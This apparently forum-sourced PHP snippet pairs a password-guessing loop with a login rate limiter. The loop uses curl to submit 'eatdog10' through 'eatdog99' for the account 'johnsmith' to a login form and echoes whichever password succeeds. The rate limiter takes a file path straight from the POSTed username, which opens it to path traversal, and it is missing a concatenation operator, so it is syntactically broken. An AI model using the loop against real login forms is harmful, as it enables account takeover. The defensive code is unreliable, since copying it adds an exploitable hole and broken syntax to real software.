Form loop with password cracking
$username = "johnsmith";
$pass_base = "eatdog";
$url = "the url the form submits to";
$failed = ""; //the response returned by the server when login fails

for ($i=10; $i < 100; $i++)
{
    $password = $pass_base . $i;

    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_POST,true);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

    //set the POST parameters

    $data = curl_exec($ch);
    curl_close($ch);

    if ($data != $failed)   //analyze the returned data
    {
        echo $password;     //this is your password
        break;
    }
}

$count = file_get_contents('/some/writable/dir/'$_POST['username']);
if (!$count) {
    $count = 0;
}
if ($count > 5) {
    print "Naughty!"; // or add a CAPTCHA or something
    exit;
}
$success = checkLogin($_POST['username'], $_POST['password']);
if ($success) {
    // set cookies, send them away with header('location:blah.php'); exit
} else {
    $count ++;
    file_put_contents('/some/writable/dir/'$_POST['username'], $count);
}